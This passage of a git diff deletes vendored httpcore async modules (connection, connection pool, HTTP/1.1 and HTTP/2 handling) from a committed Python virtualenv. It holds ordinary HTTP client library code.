timeout, - "socket_options": self._socket_options, - } - async with Trace("connect_tcp", logger, request, kwargs) as trace: - stream = await self._network_backend.connect_tcp(**kwargs) - trace.return_value = stream - else: - kwargs = { - "path": self._uds, - "timeout": timeout, - "socket_options": self._socket_options, - } - async with Trace( - "connect_unix_socket", logger, request, kwargs - ) as trace: - stream = await self._network_backend.connect_unix_socket( - **kwargs - ) - trace.return_value = stream - - if self._origin.scheme in (b"https", b"wss"): - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": sni_hostname - or self._origin.host.decode("ascii"), - "timeout": timeout, - } - async with Trace("start_tls", logger, request, kwargs) as trace: - stream = await stream.start_tls(**kwargs) - trace.return_value = stream - return stream - except (ConnectError, ConnectTimeout): - if retries_left <= 0: - raise - retries_left -= 1 - delay = next(delays) - async with Trace("retry", logger, request, kwargs) as trace: - await self._network_backend.sleep(delay) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - async def aclose(self) -> None: - if self._connection is not None: - async with Trace("close", logger, None, {}): - await self._connection.aclose() - - def is_available(self) -> bool: - if self._connection is None: - # If HTTP/2 support is enabled, and the resulting connection could - # end up as HTTP/2 then we should indicate the connection as being - # available to service multiple requests. - return ( - self._http2 - and (self._origin.scheme == b"https" or not self._http1) - and not self._connect_failed - ) - return self._connection.is_available() - - def has_expired(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.has_expired() - - def is_idle(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.is_idle() - - def is_closed(self) -> bool: - if self._connection is None: - return self._connect_failed - return self._connection.is_closed() - - def info(self) -> str: - if self._connection is None: - return "CONNECTION FAILED" if self._connect_failed else "CONNECTING" - return self._connection.info() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - async def __aenter__(self) -> AsyncHTTPConnection: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - await self.aclose() diff --git a/venv/Lib/site-packages/httpcore/_async/connection_pool.py b/venv/Lib/site-packages/httpcore/_async/connection_pool.py deleted file mode 100644 index 96e973d0ce223f6bed9be9e6a6a2f3c01622c611..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/connection_pool.py +++ /dev/null @@ -1,420 +0,0 @@ -from __future__ import annotations - -import ssl -import sys -import types -import typing - -from .._backends.auto import AutoBackend -from .._backends.base import SOCKET_OPTION, AsyncNetworkBackend -from .._exceptions import ConnectionNotAvailable, UnsupportedProtocol -from .._models import Origin, Proxy, Request, Response -from .._synchronization import AsyncEvent, AsyncShieldCancellation, AsyncThreadLock -from .connection import AsyncHTTPConnection -from .interfaces import AsyncConnectionInterface, AsyncRequestInterface - - -class AsyncPoolRequest: - def __init__(self, request: Request) -> None: - self.request = request - self.connection: AsyncConnectionInterface | None = None - self._connection_acquired = AsyncEvent() - - def assign_to_connection(self, connection: AsyncConnectionInterface | None) -> None: - self.connection = connection - self._connection_acquired.set() - - def clear_connection(self) -> None: - self.connection = None - self._connection_acquired = AsyncEvent() - - async def wait_for_connection( - self, timeout: float | None = None - ) -> AsyncConnectionInterface: - if self.connection is None: - await self._connection_acquired.wait(timeout=timeout) - assert self.connection is not None - return self.connection - - def is_queued(self) -> bool: - return self.connection is None - - -class AsyncConnectionPool(AsyncRequestInterface): - """ - A connection pool for making HTTP requests. - """ - - def __init__( - self, - ssl_context: ssl.SSLContext | None = None, - proxy: Proxy | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: AsyncNetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish a - connection. - local_address: Local address to connect from. Can also be used to connect - using a particular address family. Using `local_address="0.0.0.0"` - will connect using an `AF_INET` address (IPv4), while using - `local_address="::"` will connect using an `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - socket_options: Socket options that have to be included - in the TCP socket when the connection was established. - """ - self._ssl_context = ssl_context - self._proxy = proxy - self._max_connections = ( - sys.maxsize if max_connections is None else max_connections - ) - self._max_keepalive_connections = ( - sys.maxsize - if max_keepalive_connections is None - else max_keepalive_connections - ) - self._max_keepalive_connections = min( - self._max_connections, self._max_keepalive_connections - ) - - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._retries = retries - self._local_address = local_address - self._uds = uds - - self._network_backend = ( - AutoBackend() if network_backend is None else network_backend - ) - self._socket_options = socket_options - - # The mutable state on a connection pool is the queue of incoming requests, - # and the set of connections that are servicing those requests. - self._connections: list[AsyncConnectionInterface] = [] - self._requests: list[AsyncPoolRequest] = [] - - # We only mutate the state of the connection pool within an 'optional_thread_lock' - # context. This holds a threading lock unless we're running in async mode, - # in which case it is a no-op. - self._optional_thread_lock = AsyncThreadLock() - - def create_connection(self, origin: Origin) -> AsyncConnectionInterface: - if self._proxy is not None: - if self._proxy.url.scheme in (b"socks5", b"socks5h"): - from .socks_proxy import AsyncSocks5Connection - - return AsyncSocks5Connection( - proxy_origin=self._proxy.url.origin, - proxy_auth=self._proxy.auth, - remote_origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - elif origin.scheme == b"http": - from .http_proxy import AsyncForwardHTTPConnection - - return AsyncForwardHTTPConnection( - proxy_origin=self._proxy.url.origin, - proxy_headers=self._proxy.headers, - proxy_ssl_context=self._proxy.ssl_context, - remote_origin=origin, - keepalive_expiry=self._keepalive_expiry, - network_backend=self._network_backend, - ) - from .http_proxy import AsyncTunnelHTTPConnection - - return AsyncTunnelHTTPConnection( - proxy_origin=self._proxy.url.origin, - proxy_headers=self._proxy.headers, - proxy_ssl_context=self._proxy.ssl_context, - remote_origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - return AsyncHTTPConnection( - origin=origin, - ssl_context=self._ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - retries=self._retries, - local_address=self._local_address, - uds=self._uds, - network_backend=self._network_backend, - socket_options=self._socket_options, - ) - - @property - def connections(self) -> list[AsyncConnectionInterface]: - """ - Return a list of the connections currently in the pool. - - For example: - - ```python - >>> pool.connections - [ - , - , - , - ] - ``` - """ - return list(self._connections) - - async def handle_async_request(self, request: Request) -> Response: - """ - Send an HTTP request, and return an HTTP response. - - This is the core implementation that is called into by `.request()` or `.stream()`. - """ - scheme = request.url.scheme.decode() - if scheme == "": - raise UnsupportedProtocol( - "Request URL is missing an 'http://' or 'https://' protocol." - ) - if scheme not in ("http", "https", "ws", "wss"): - raise UnsupportedProtocol( - f"Request URL has an unsupported protocol '{scheme}://'." - ) - - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("pool", None) - - with self._optional_thread_lock: - # Add the incoming request to our request queue. - pool_request = AsyncPoolRequest(request) - self._requests.append(pool_request) - - try: - while True: - with self._optional_thread_lock: - # Assign incoming requests to available connections, - # closing or creating new connections as required. - closing = self._assign_requests_to_connections() - await self._close_connections(closing) - - # Wait until this request has an assigned connection. - connection = await pool_request.wait_for_connection(timeout=timeout) - - try: - # Send the request on the assigned connection. - response = await connection.handle_async_request( - pool_request.request - ) - except ConnectionNotAvailable: - # In some cases a connection may initially be available to - # handle a request, but then become unavailable. - # - # In this case we clear the connection and try again. - pool_request.clear_connection() - else: - break # pragma: nocover - - except BaseException as exc: - with self._optional_thread_lock: - # For any exception or cancellation we remove the request from - # the queue, and then re-assign requests to connections. - self._requests.remove(pool_request) - closing = self._assign_requests_to_connections() - - await self._close_connections(closing) - raise exc from None - - # Return the response. Note that in this case we still have to manage - # the point at which the response is closed. - assert isinstance(response.stream, typing.AsyncIterable) - return Response( - status=response.status, - headers=response.headers, - content=PoolByteStream( - stream=response.stream, pool_request=pool_request, pool=self - ), - extensions=response.extensions, - ) - - def _assign_requests_to_connections(self) -> list[AsyncConnectionInterface]: - """ - Manage the state of the connection pool, assigning incoming - requests to connections as available. - - Called whenever a new request is added or removed from the pool. - - Any closing connections are returned, allowing the I/O for closing - those connections to be handled seperately. - """ - closing_connections = [] - - # First we handle cleaning up any connections that are closed, - # have expired their keep-alive, or surplus idle connections. - for connection in list(self._connections): - if connection.is_closed(): - # log: "removing closed connection" - self._connections.remove(connection) - elif connection.has_expired(): - # log: "closing expired connection" - self._connections.remove(connection) - closing_connections.append(connection) - elif ( - connection.is_idle() - and len([connection.is_idle() for connection in self._connections]) - > self._max_keepalive_connections - ): - # log: "closing idle connection" - self._connections.remove(connection) - closing_connections.append(connection) - - # Assign queued requests to connections. - queued_requests = [request for request in self._requests if request.is_queued()] - for pool_request in queued_requests: - origin = pool_request.request.url.origin - available_connections = [ - connection - for connection in self._connections - if connection.can_handle_request(origin) and connection.is_available() - ] - idle_connections = [ - connection for connection in self._connections if connection.is_idle() - ] - - # There are three cases for how we may be able to handle the request: - # - # 1. There is an existing connection that can handle the request. - # 2. We can create a new connection to handle the request. - # 3. We can close an idle connection and then create a new connection - # to handle the request. - if available_connections: - # log: "reusing existing connection" - connection = available_connections[0] - pool_request.assign_to_connection(connection) - elif len(self._connections) < self._max_connections: - # log: "creating new connection" - connection = self.create_connection(origin) - self._connections.append(connection) - pool_request.assign_to_connection(connection) - elif idle_connections: - # log: "closing idle connection" - connection = idle_connections[0] - self._connections.remove(connection) - closing_connections.append(connection) - # log: "creating new connection" - connection = self.create_connection(origin) - self._connections.append(connection) - pool_request.assign_to_connection(connection) - - return closing_connections - - async def _close_connections(self, closing: list[AsyncConnectionInterface]) -> None: - # Close connections which have been removed from the pool. - with AsyncShieldCancellation(): - for connection in closing: - await connection.aclose() - - async def aclose(self) -> None: - # Explicitly close the connection pool. - # Clears all existing requests and connections. - with self._optional_thread_lock: - closing_connections = list(self._connections) - self._connections = [] - await self._close_connections(closing_connections) - - async def __aenter__(self) -> AsyncConnectionPool: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - await self.aclose() - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - with self._optional_thread_lock: - request_is_queued = [request.is_queued() for request in self._requests] - connection_is_idle = [ - connection.is_idle() for connection in self._connections - ] - - num_active_requests = request_is_queued.count(False) - num_queued_requests = request_is_queued.count(True) - num_active_connections = connection_is_idle.count(False) - num_idle_connections = connection_is_idle.count(True) - - requests_info = ( - f"Requests: {num_active_requests} active, {num_queued_requests} queued" - ) - connection_info = ( - f"Connections: {num_active_connections} active, {num_idle_connections} idle" - ) - - return f"<{class_name} [{requests_info} | {connection_info}]>" - - -class PoolByteStream: - def __init__( - self, - stream: typing.AsyncIterable[bytes], - pool_request: AsyncPoolRequest, - pool: AsyncConnectionPool, - ) -> None: - self._stream = stream - self._pool_request = pool_request - self._pool = pool - self._closed = False - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - try: - async for part in self._stream: - yield part - except BaseException as exc: - await self.aclose() - raise exc from None - - async def aclose(self) -> None: - if not self._closed: - self._closed = True - with AsyncShieldCancellation(): - if hasattr(self._stream, "aclose"): - await self._stream.aclose() - - with self._pool._optional_thread_lock: - self._pool._requests.remove(self._pool_request) - closing = self._pool._assign_requests_to_connections() - - await self._pool._close_connections(closing) diff --git a/venv/Lib/site-packages/httpcore/_async/http11.py b/venv/Lib/site-packages/httpcore/_async/http11.py deleted file mode 100644 index e6d6d709852b137a862cfe2b3af42dc790fa705d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/http11.py +++ /dev/null @@ -1,379 +0,0 @@ -from __future__ import annotations - -import enum -import logging -import ssl -import time -import types -import typing - -import h11 - -from .._backends.base import AsyncNetworkStream -from .._exceptions import ( - ConnectionNotAvailable, - LocalProtocolError, - RemoteProtocolError, - WriteError, - map_exceptions, -) -from .._models import Origin, Request, Response -from .._synchronization import AsyncLock, AsyncShieldCancellation -from .._trace import Trace -from .interfaces import AsyncConnectionInterface - -logger = logging.getLogger("httpcore.http11") - - -# A subset of `h11.Event` types supported by `_send_event` -H11SendEvent = typing.Union[ - h11.Request, - h11.Data, - h11.EndOfMessage, -] - - -class HTTPConnectionState(enum.IntEnum): - NEW = 0 - ACTIVE = 1 - IDLE = 2 - CLOSED = 3 - - -class AsyncHTTP11Connection(AsyncConnectionInterface): - READ_NUM_BYTES = 64 * 1024 - MAX_INCOMPLETE_EVENT_SIZE = 100 * 1024 - - def __init__( - self, - origin: Origin, - stream: AsyncNetworkStream, - keepalive_expiry: float | None = None, - ) -> None: - self._origin = origin - self._network_stream = stream - self._keepalive_expiry: float | None = keepalive_expiry - self._expire_at: float | None = None - self._state = HTTPConnectionState.NEW - self._state_lock = AsyncLock() - self._request_count = 0 - self._h11_state = h11.Connection( - our_role=h11.CLIENT, - max_incomplete_event_size=self.MAX_INCOMPLETE_EVENT_SIZE, - ) - - async def handle_async_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection " - f"to {self._origin}" - ) - - async with self._state_lock: - if self._state in (HTTPConnectionState.NEW, HTTPConnectionState.IDLE): - self._request_count += 1 - self._state = HTTPConnectionState.ACTIVE - self._expire_at = None - else: - raise ConnectionNotAvailable() - - try: - kwargs = {"request": request} - try: - async with Trace( - "send_request_headers", logger, request, kwargs - ) as trace: - await self._send_request_headers(**kwargs) - async with Trace("send_request_body", logger, request, kwargs) as trace: - await self._send_request_body(**kwargs) - except WriteError: - # If we get a write error while we're writing the request, - # then we supress this error and move on to attempting to - # read the response. Servers can sometimes close the request - # pre-emptively and then respond with a well formed HTTP - # error response. - pass - - async with Trace( - "receive_response_headers", logger, request, kwargs - ) as trace: - ( - http_version, - status, - reason_phrase, - headers, - trailing_data, - ) = await self._receive_response_headers(**kwargs) - trace.return_value = ( - http_version, - status, - reason_phrase, - headers, - ) - - network_stream = self._network_stream - - # CONNECT or Upgrade request - if (status == 101) or ( - (request.method == b"CONNECT") and (200 <= status < 300) - ): - network_stream = AsyncHTTP11UpgradeStream(network_stream, trailing_data) - - return Response( - status=status, - headers=headers, - content=HTTP11ConnectionByteStream(self, request), - extensions={ - "http_version": http_version, - "reason_phrase": reason_phrase, - "network_stream": network_stream, - }, - ) - except BaseException as exc: - with AsyncShieldCancellation(): - async with Trace("response_closed", logger, request) as trace: - await self._response_closed() - raise exc - - # Sending the request... - - async def _send_request_headers(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - with map_exceptions({h11.LocalProtocolError: LocalProtocolError}): - event = h11.Request( - method=request.method, - target=request.url.target, - headers=request.headers, - ) - await self._send_event(event, timeout=timeout) - - async def _send_request_body(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - assert isinstance(request.stream, typing.AsyncIterable) - async for chunk in request.stream: - event = h11.Data(data=chunk) - await self._send_event(event, timeout=timeout) - - await self._send_event(h11.EndOfMessage(), timeout=timeout) - - async def _send_event(self, event: h11.Event, timeout: float | None = None) -> None: - bytes_to_send = self._h11_state.send(event) - if bytes_to_send is not None: - await self._network_stream.write(bytes_to_send, timeout=timeout) - - # Receiving the response... - - async def _receive_response_headers( - self, request: Request - ) -> tuple[bytes, int, bytes, list[tuple[bytes, bytes]], bytes]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - while True: - event = await self._receive_event(timeout=timeout) - if isinstance(event, h11.Response): - break - if ( - isinstance(event, h11.InformationalResponse) - and event.status_code == 101 - ): - break - - http_version = b"HTTP/" + event.http_version - - # h11 version 0.11+ supports a `raw_items` interface to get the - # raw header casing, rather than the enforced lowercase headers. - headers = event.headers.raw_items() - - trailing_data, _ = self._h11_state.trailing_data - - return http_version, event.status_code, event.reason, headers, trailing_data - - async def _receive_response_body( - self, request: Request - ) -> typing.AsyncIterator[bytes]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - while True: - event = await self._receive_event(timeout=timeout) - if isinstance(event, h11.Data): - yield bytes(event.data) - elif isinstance(event, (h11.EndOfMessage, h11.PAUSED)): - break - - async def _receive_event( - self, timeout: float | None = None - ) -> h11.Event | type[h11.PAUSED]: - while True: - with map_exceptions({h11.RemoteProtocolError: RemoteProtocolError}): - event = self._h11_state.next_event() - - if event is h11.NEED_DATA: - data = await self._network_stream.read( - self.READ_NUM_BYTES, timeout=timeout - ) - - # If we feed this case through h11 we'll raise an exception like: - # - # httpcore.RemoteProtocolError: can't handle event type - # ConnectionClosed when role=SERVER and state=SEND_RESPONSE - # - # Which is accurate, but not very informative from an end-user - # perspective. Instead we handle this case distinctly and treat - # it as a ConnectError. - if data == b"" and self._h11_state.their_state == h11.SEND_RESPONSE: - msg = "Server disconnected without sending a response." - raise RemoteProtocolError(msg) - - self._h11_state.receive_data(data) - else: - # mypy fails to narrow the type in the above if statement above - return event # type: ignore[return-value] - - async def _response_closed(self) -> None: - async with self._state_lock: - if ( - self._h11_state.our_state is h11.DONE - and self._h11_state.their_state is h11.DONE - ): - self._state = HTTPConnectionState.IDLE - self._h11_state.start_next_cycle() - if self._keepalive_expiry is not None: - now = time.monotonic() - self._expire_at = now + self._keepalive_expiry - else: - await self.aclose() - - # Once the connection is no longer required... - - async def aclose(self) -> None: - # Note that this method unilaterally closes the connection, and does - # not have any kind of locking in place around it. - self._state = HTTPConnectionState.CLOSED - await self._network_stream.aclose() - - # The AsyncConnectionInterface methods provide information about the state of - # the connection, allowing for a connection pooling implementation to - # determine when to reuse and when to close the connection... - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - def is_available(self) -> bool: - # Note that HTTP/1.1 connections in the "NEW" state are not treated as - # being "available". The control flow which created the connection will - # be able to send an outgoing request, but the connection will not be - # acquired from the connection pool for any other request. - return self._state == HTTPConnectionState.IDLE - - def has_expired(self) -> bool: - now = time.monotonic() - keepalive_expired = self._expire_at is not None and now > self._expire_at - - # If the HTTP connection is idle but the socket is readable, then the - # only valid state is that the socket is about to return b"", indicating - # a server-initiated disconnect. - server_disconnected = ( - self._state == HTTPConnectionState.IDLE - and self._network_stream.get_extra_info("is_readable") - ) - - return keepalive_expired or server_disconnected - - def is_idle(self) -> bool: - return self._state == HTTPConnectionState.IDLE - - def is_closed(self) -> bool: - return self._state == HTTPConnectionState.CLOSED - - def info(self) -> str: - origin = str(self._origin) - return ( - f"{origin!r}, HTTP/1.1, {self._state.name}, " - f"Request Count: {self._request_count}" - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - origin = str(self._origin) - return ( - f"<{class_name} [{origin!r}, {self._state.name}, " - f"Request Count: {self._request_count}]>" - ) - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - async def __aenter__(self) -> AsyncHTTP11Connection: - return self - - async def __aexit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - await self.aclose() - - -class HTTP11ConnectionByteStream: - def __init__(self, connection: AsyncHTTP11Connection, request: Request) -> None: - self._connection = connection - self._request = request - self._closed = False - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - kwargs = {"request": self._request} - try: - async with Trace("receive_response_body", logger, self._request, kwargs): - async for chunk in self._connection._receive_response_body(**kwargs): - yield chunk - except BaseException as exc: - # If we get an exception while streaming the response, - # we want to close the response (and possibly the connection) - # before raising that exception. - with AsyncShieldCancellation(): - await self.aclose() - raise exc - - async def aclose(self) -> None: - if not self._closed: - self._closed = True - async with Trace("response_closed", logger, self._request): - await self._connection._response_closed() - - -class AsyncHTTP11UpgradeStream(AsyncNetworkStream): - def __init__(self, stream: AsyncNetworkStream, leading_data: bytes) -> None: - self._stream = stream - self._leading_data = leading_data - - async def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - if self._leading_data: - buffer = self._leading_data[:max_bytes] - self._leading_data = self._leading_data[max_bytes:] - return buffer - else: - return await self._stream.read(max_bytes, timeout) - - async def write(self, buffer: bytes, timeout: float | None = None) -> None: - await self._stream.write(buffer, timeout) - - async def aclose(self) -> None: - await self._stream.aclose() - - async def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> AsyncNetworkStream: - return await self._stream.start_tls(ssl_context, server_hostname, timeout) - - def get_extra_info(self, info: str) -> typing.Any: - return self._stream.get_extra_info(info) diff --git a/venv/Lib/site-packages/httpcore/_async/http2.py b/venv/Lib/site-packages/httpcore/_async/http2.py deleted file mode 100644 index dbd0beeb4da32d8c0175d412fa442eae8f837723..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_async/http2.py +++ /dev/null @@ -1,592 +0,0 @@ -from __future__ import annotations - -import enum -import logging -import time -import types -import typing - -import h2.config -import h2.connection -import h2.events -import h2.exceptions -import h2.settings - -from .._backends.base import AsyncNetworkStream -from .._exceptions import ( - ConnectionNotAvailable, - LocalProtocolError, - RemoteProtocolError, -) -from .._models import Origin, Request, Response -from .._synchronization import AsyncLock, AsyncSemaphore, AsyncShieldCancellation -from .._trace import Trace -from .interfaces import AsyncConnectionInterface - -logger = logging.getLogger("httpcore.http2") - - -def has_body_headers(request: Request) -> bool: - return any( - k.lower() == b"content-length" or k.lower() == b"transfer-encoding" - for k, v in request.headers - ) - - -class HTTPConnectionState(enum.IntEnum): - ACTIVE = 1 - IDLE = 2 - CLOSED = 3 - - -class AsyncHTTP2Connection(AsyncConnectionInterface): - READ_NUM_BYTES = 64 * 1024 - CONFIG = h2.config.H2Configuration(validate_inbound_headers=False) - - def __init__( - self, - origin: Origin, - stream: AsyncNetworkStream, - keepalive_expiry: float | None = None, - ): - self._origin = origin - self._network_stream = stream - self._keepalive_expiry: float | None = keepalive_expiry - self._h2_state = h2.connection.H2Connection(config=self.CONFIG) - self._state = HTTPConnectionState.IDLE - self._expire_at: float | None = None - self._request_count = 0 - self._init_lock = AsyncLock() - self._state_lock = AsyncLock() - self._read_lock = AsyncLock() - self._write_lock = AsyncLock() - self._sent_connection_init = False - self._used_all_stream_ids = False - self._connection_error = False - - # Mapping from stream ID to response stream events. - self._events: dict[ - int, - list[ - h2.events.ResponseReceived - | h2.events.DataReceived - | h2.events.StreamEnded - | h2.events.StreamReset, - ], - ] = {} - - # Connection terminated events are stored as state since - # we need to handle them for all streams. - self._connection_terminated: h2.events.ConnectionTerminated | None = None - - self._read_exception: Exception | None = None - self._write_exception: Exception | None = None - - async def handle_async_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - # This cannot occur in normal operation, since the connection pool - # will only send requests on connections that handle them. - # It's in place simply for resilience as a guard against incorrect - # usage, for anyone working directly with httpcore connections. - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection " - f"to {self._origin}" - ) - - async with self._state_lock: - if self._state in (HTTPConnectionState.ACTIVE, HTTPConnectionState.IDLE): - self._request_count += 1 - self._expire_at = None - self._state = HTTPConnectionState.ACTIVE - else: - raise ConnectionNotAvailable() - - async with self._init_lock: - if not self._sent_connection_init: - try: - sci_kwargs = {"request": request} - async with Trace( - "send_connection_init", logger, request, sci_kwargs - ): - await self._send_connection_init(**sci_kwargs) - except BaseException as exc: - with AsyncShieldCancellation(): - await self.aclose() - raise exc - - self._sent_connection_init = True - - # Initially start with just 1 until the remote server provides - # its max_concurrent_streams value - self._max_streams = 1 - - local_settings_max_streams = ( - self._h2_state.local_settings.max_concurrent_streams - ) - self._max_streams_semaphore = AsyncSemaphore(local_settings_max_streams) - - for _ in range(local_settings_max_streams - self._max_streams): - await self._max_streams_semaphore.acquire() - - await self._max_streams_semaphore.acquire() - - try: - stream_id = self._h2_state.get_next_available_stream_id() - self._events[stream_id] = [] - except h2.exceptions.NoAvailableStreamIDError: # pragma: nocover - self._used_all_stream_ids = True - self._request_count -= 1 - raise ConnectionNotAvailable() - - try: - kwargs = {"request": request, "stream_id": stream_id} - async with Trace("send_request_headers", logger, request, kwargs): - await self._send_request_headers(request=request, stream_id=stream_id) - async with Trace("send_request_body", logger, request, kwargs): - await self._send_request_body(request=request, stream_id=stream_id) - async with Trace( - "receive_response_headers", logger, request, kwargs - ) as trace: - status, headers = await self._receive_response( - request=request, stream_id=stream_id - ) - trace.return_value = (status, headers) - - return Response( - status=status, - headers=headers, - content=HTTP2ConnectionByteStream(self, request, stream_id=stream_id), - extensions={ - "http_version": b"HTTP/2", - "network_stream": self._network_stream, - "stream_id": stream_id, - }, - ) - except BaseException as exc: # noqa: PIE786 - with AsyncShieldCancellation(): - kwargs = {"stream_id": stream_id} - async with Trace("response_closed", logger, request, kwargs): - await self._response_closed(stream_id=stream_id) - - if isinstance(exc, h2.exceptions.ProtocolError): - # One case where h2 can raise a protocol error is when a - # closed frame has been seen by the state machine. - # - # This happens when one stream is reading, and encounters - # a GOAWAY event. Other flows of control may then raise - # a protocol error at any point they interact with the 'h2_state'. - # - # In this case we'll have stored the event, and should raise - # it as a RemoteProtocolError. - if self._connection_terminated: # pragma: nocover - raise RemoteProtocolError(self._connection_terminated) - # If h2 raises a protocol error in some other state then we - # must somehow have made a protocol violation. - raise LocalProtocolError(exc) # pragma: nocover - - raise exc - - async def _send_connection_init(self, request: Request) -> None: - """ - The HTTP/2 connection requires some initial setup before we can start - using individual request/response streams on it. - """ - # Need to set these manually here instead of manipulating via - # __setitem__() otherwise the H2Connection will emit SettingsUpdate - # frames in addition to sending the undesired defaults. - self._h2_state.local_settings = h2.settings.Settings( - client=True, - initial_values={ - # Disable PUSH_PROMISE frames from the server since we don't do anything - # with them for now. Maybe when we support caching? - h2.settings.SettingCodes.ENABLE_PUSH: 0, - # These two are taken from h2 for safe defaults - h2.settings.SettingCodes.MAX_CONCURRENT_STREAMS: 100, - h2.settings.SettingCodes.MAX_HEADER_LIST_SIZE: 65536, - }, - ) - - # Some websites (*cough* Yahoo *cough*) balk at this setting being - # present in the initial handshake since it's not defined in the original - # RFC despite the RFC mandating ignoring settings you don't know about. - del self._h2_state.local_settings[ - h2.settings.SettingCodes.ENABLE_CONNECT_PROTOCOL - ] - - self._h2_state.initiate_connection() - self._h2_state.increment_flow_control_window(2**24) - await self._write_outgoing_data(request) - - # Sending the request... - - async def _send_request_headers(self, request: Request, stream_id: int) -> None: - """ - Send the request headers to a given stream ID. - """ - end_stream = not has_body_headers(request) - - # In HTTP/2 the ':authority' pseudo-header is used instead of 'Host'. - # In order to gracefully handle HTTP/1.1 and HTTP/2 we always require - # HTTP/1.1 style headers, and map them appropriately if we end up on - # an HTTP/2 connection. - authority = [v for k, v in request.headers if k.lower() == b"host"][0] - - headers = [ - (b":method", request.method), - (b":authority", authority), - (b":scheme", request.url.scheme), - (b":path", request.url.target), - ] + [ - (k.lower(), v) - for k, v in request.headers - if k.lower() - not in ( - b"host", - b"transfer-encoding", - ) - ] - - self._h2_state.send_headers(stream_id, headers, end_stream=end_stream) - self._h2_state.increment_flow_control_window(2**24, stream_id=stream_id) - await self._write_outgoing_data(request) - - async def _send_request_body(self, request: Request, stream_id: int) -> None: - """ - Iterate over the request body sending it to a given stream ID. - """ - if not has_body_headers(request): - return - - assert isinstance(request.stream, typing.AsyncIterable) - async for data in request.stream: - await self._send_stream_data(request, stream_id, data) - await self._send_end_stream(request, stream_id) - - async def _send_stream_data( - self, request: Request, stream_id: int, data: bytes - ) -> None: - """ - Send a single chunk of data in one or more data frames. - """ - while data: - max_flow = await self._wait_for_outgoing_flow(request, stream_id) - chunk_size = min(len(data), max_flow) - chunk, data = data[:chunk_size], data[chunk_size:] - self._h2_state.send_data(stream_id, chunk) - await self._write_outgoing_data(request) - - async def _send_end_stream(self, request: Request, stream_id: int) -> None: - """ - Send an empty data frame on on a given stream ID with the END_STREAM flag set. - """ - self._h2_state.end_stream(stream_id) - await self._write_outgoing_data(request) - - # Receiving the response... - - async def _receive_response( - self, request: Request, stream_id: int - ) -> tuple[int, list[tuple[bytes, bytes]]]: - """ - Return the response status code and headers for a given stream ID. - """ - while True: - event = await self._receive_stream_event(request, stream_id) - if isinstance(event, h2.events.ResponseReceived): - break - - status_code = 200 - headers = [] - assert event.headers is not None - for k, v in event.headers: - if k == b":status": - status_code = int(v.decode("ascii", errors="ignore")) - elif not k.startswith(b":"): - headers.append((k, v)) - - return (status_code, headers) - - async def _receive_response_body( - self, request: Request, stream_id: int - ) -> typing.AsyncIterator[bytes]: - """ - Iterator that returns the bytes of the response body for a given stream ID. - """ - while True: - event = await self._receive_stream_event(request, stream_id) - if isinstance(event, h2.events.DataReceived): - assert 